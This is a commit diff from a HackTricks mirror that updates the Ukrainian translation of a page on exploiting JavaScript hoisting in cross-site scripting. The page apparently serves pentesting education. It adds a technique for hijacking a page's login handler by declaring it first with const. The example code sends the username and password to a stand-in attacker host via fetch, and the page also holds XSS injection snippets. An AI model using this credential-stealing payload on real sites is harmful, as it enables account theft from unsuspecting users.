mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/xss-cross-site-scripting/README.md',
This commit is contained in:
parent
1fb51f50fb
commit
76295ca4e3
File diff suppressed because it is too large
Load Diff
@ -2,31 +2,31 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Основна інформація
|
||||
|
||||
У мові JavaScript описується механізм, відомий як **Hoisting**, де оголошення змінних, функцій, класів або імпортів концептуально піднімаються на верхню частину їхньої області видимості перед виконанням коду. Цей процес автоматично виконується движком JavaScript, який проходить через скрипт у кілька проходів.
|
||||
У мові JavaScript існує механізм, відомий як **Hoisting**, при якому оголошення змінних, функцій, класів або імпортів концептуально піднімаються на початок їхньої області видимості перед виконанням коду. Цей процес автоматично виконується движком JavaScript, який проходить по скрипту в кілька проходів.
|
||||
|
||||
Під час першого проходу движок аналізує код, щоб перевірити наявність синтаксичних помилок, і перетворює його в абстрактне синтаксичне дерево. Ця фаза включає підйом, процес, в якому певні оголошення переміщуються на верхню частину контексту виконання. Якщо фаза аналізу успішна, що вказує на відсутність синтаксичних помилок, виконання скрипту продовжується.
|
||||
Під час першого проходу движок парсить код для перевірки синтаксичних помилок і перетворює його у абстрактне синтаксичне дерево. Ця фаза включає hoisting, процес, у якому певні оголошення переміщуються на початок контексту виконання. Якщо фаза парсингу пройшла успішно, тобто синтаксичних помилок не виявлено, виконання скрипта продовжується.
|
||||
|
||||
Важливо зрозуміти, що:
|
||||
Важливо розуміти, що:
|
||||
|
||||
1. Скрипт повинен бути вільним від синтаксичних помилок для виконання. Правила синтаксису повинні суворо дотримуватись.
|
||||
2. Розміщення коду в скрипті впливає на виконання через підйом, хоча виконуваний код може відрізнятися від його текстового представлення.
|
||||
1. Скрипт має бути вільним від синтаксичних помилок, щоб відбулося його виконання. Правила синтаксису потрібно суворо дотримуватися.
|
||||
2. Розташування коду в скрипті впливає на виконання через hoisting, хоча виконуваний код може відрізнятися від його текстового представлення.
|
||||
|
||||
#### Types of Hoisting
|
||||
#### Типи Hoisting
|
||||
|
||||
Відповідно до інформації з MDN, існує чотири різні типи підйому в JavaScript:
|
||||
Згідно з інформацією з MDN, у JavaScript існує чотири різні типи hoisting:
|
||||
|
||||
1. **Value Hoisting**: Дозволяє використовувати значення змінної в її області видимості до рядка оголошення.
|
||||
2. **Declaration Hoisting**: Дозволяє посилатися на змінну в її області видимості до оголошення без виклику `ReferenceError`, але значення змінної буде `undefined`.
|
||||
3. Цей тип змінює поведінку в межах своєї області видимості через оголошення змінної до її фактичного рядка оголошення.
|
||||
1. **Value Hoisting**: Дозволяє використовувати значення змінної в межах її області видимості до рядка її оголошення.
|
||||
2. **Declaration Hoisting**: Дозволяє звертатися до змінної в межах її області видимості до її оголошення без виклику `ReferenceError`, але значення змінної буде `undefined`.
|
||||
3. Цей тип змінює поведінку в межах області видимості через те, що оголошення змінної опиняється перед її фактичною рядком оголошення.
|
||||
4. Побічні ефекти оголошення відбуваються до того, як буде оцінено решту коду, що його містить.
|
||||
|
||||
Докладно, оголошення функцій демонструють поведінку підйому типу 1. Ключове слово `var` демонструє поведінку типу 2. Лексичні оголошення, які включають `let`, `const` і `class`, показують поведінку типу 3. Нарешті, оператори `import` є унікальними тим, що вони піднімаються з поведінкою як типу 1, так і типу 4.
|
||||
Детальніше: оголошення функцій демонструють поведінку hoisting типу 1. Ключове слово `var` проявляє поведінку типу 2. Лексичні оголошення, які включають `let`, `const` і `class`, показують поведінку типу 3. Нарешті, `import` statements унікальні тим, що вони піднімаються з поведінкою як типу 1, так і типу 4.
|
||||
|
||||
## Scenarios
|
||||
## Сценарії
|
||||
|
||||
Отже, якщо у вас є сценарії, де ви можете **Inject JS code after an undeclared object** використовується, ви могли б **fix the syntax** оголосивши його (щоб ваш код виконувався замість того, щоб викликати помилку):
|
||||
Отже, якщо у вас є сценарії, де ви можете **впровадити JS-код після використання неоголошеного об'єкта**, ви можете **виправити синтаксис**, оголосивши його (щоб ваш код виконався замість того, щоб спричинити помилку):
|
||||
```javascript
|
||||
// The function vulnerableFunction is not defined
|
||||
vulnerableFunction('test', '<INJECTION>');
|
||||
@ -127,11 +127,31 @@ alert(1) -
|
||||
},
|
||||
})
|
||||
}
|
||||
trigger()
|
||||
```
|
||||
### Запобігайте пізнішим оголошенням, заблокувавши ім'я за допомогою const
|
||||
|
||||
Якщо ви можете виконатися до того, як на верхньому рівні буде розібрано `function foo(){...}`, оголошення лексичного зв'язування з тим же іменем (наприклад, `const foo = ...`) завадить пізнішому оголошенню функції перевизначити цей ідентифікатор. Цим можна зловживати в RXSS, щоб перехопити критичні обробники, визначені пізніше на сторінці:
|
||||
```javascript
|
||||
// Malicious code runs first (e.g., earlier inline <script>)
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value)
|
||||
const user = Trim(FormInput.InputUtente.value)
|
||||
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
|
||||
}
|
||||
|
||||
// Later, the legitimate page tries to declare:
|
||||
function DoLogin(){ /* ... */ } // cannot override the existing const binding
|
||||
```
|
||||
Примітки
|
||||
- Це покладається на порядок виконання та глобальну (верхнього рівня) область видимості.
|
||||
- Якщо ваш payload виконується всередині `eval()`, пам'ятайте, що `const/let` всередині `eval` мають блочну область видимості і не створюватимуть глобальних зв'язків. Впровадьте новий елемент `<script>` з кодом, щоб встановити справжній глобальний `const`.
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
|
||||
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
|
||||
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
|
||||
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user